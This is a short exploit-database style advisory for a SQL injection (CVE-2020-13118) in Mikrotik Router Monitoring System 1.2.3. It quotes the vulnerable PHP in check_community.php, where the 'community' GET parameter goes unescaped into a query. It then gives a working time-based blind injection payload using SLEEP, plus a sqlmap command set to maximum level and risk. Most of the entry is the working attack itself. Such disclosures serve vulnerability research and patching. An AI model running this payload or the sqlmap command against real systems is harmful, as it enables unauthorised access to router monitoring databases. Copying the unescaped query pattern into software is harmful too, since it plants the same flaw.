Mikrotik Router Monitoring System 1.2.3 SQL Injection

`# Exploit Title: Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection  
# Exploit Author: jul10l1r4 (Julio Lira)  
# Google Dork: N/A  
# Date: 2020-05-16  
# Vendor Homepage: https://mikrotik.com  
# Software Link: https://mikrotik.com/download  
# Version: <= 1.2.3  
# Tested on: Debian 10 buster  
# CVE: 2020-13118  
Description: SQL Injection found in check_community.php:49  
  
$community = $_GET['community'];  
$_SESSION['community'] = $community;  
$query = "SELECT name from router where `community`='  
$community'";  
  
PoC:  
  
http://localhost/check_community.php?community=1' AND (SELECT 6941 FROM (SELECT(SLEEP(10)))Qaxg) AND 'sdHI'='sdHI  
  
SQLmap using:  
sqlmap -u 'http://localhost/check_community.php?community=1' --level=5 --risk=3  
`